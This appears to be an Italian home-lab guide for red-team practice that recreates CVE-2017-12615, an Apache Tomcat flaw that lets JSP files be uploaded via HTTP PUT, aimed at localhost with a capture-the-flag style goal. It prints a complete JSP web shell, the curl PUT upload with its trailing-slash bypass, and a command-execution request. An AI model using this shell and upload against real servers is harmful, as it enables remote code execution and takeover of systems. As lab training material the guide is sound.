
CVE-2017-12615 Tomcat: Esecuzione remota di codice tramite upload JSP — Home Lab per Red Teaming, Penetration Testing
Questo lab simula la vulnerabilità CVE-2017-12615 Tomcat: esecuzione remota di codice tramite upload JSP
Deriva dall'impostazione readonly=false, che consente di caricare file tramite HTTP PUT, inclusi file .jsp che possono eseguire comandi (RCE).
readonly=false.jsp nella directory web ROOTflag_RANDOM.txt a ogni avvio del container/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
Apri il sito web:
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/ alla fine del nome file)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
Salvata in:
/tmp/flag_RANDOM.txt
Questo lab simula CVE-2017-12615 Tomcat: esecuzione remota di codice tramite upload JSP, in cui il DefaultServlet di Apache Tomcat è configurato erroneamente con:
readonly=false
Questo consente agli attaccanti di caricare file .jsp tramite HTTP PUT, permettendo l'esecuzione remota di codice.
readonly=false.jsp arbitrari nella directory web ROOTflag_RANDOM.txt generato automaticamente all'avvio del containercurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
Solo per scopi educativi, di ricerca e test di penetrazione autorizzati.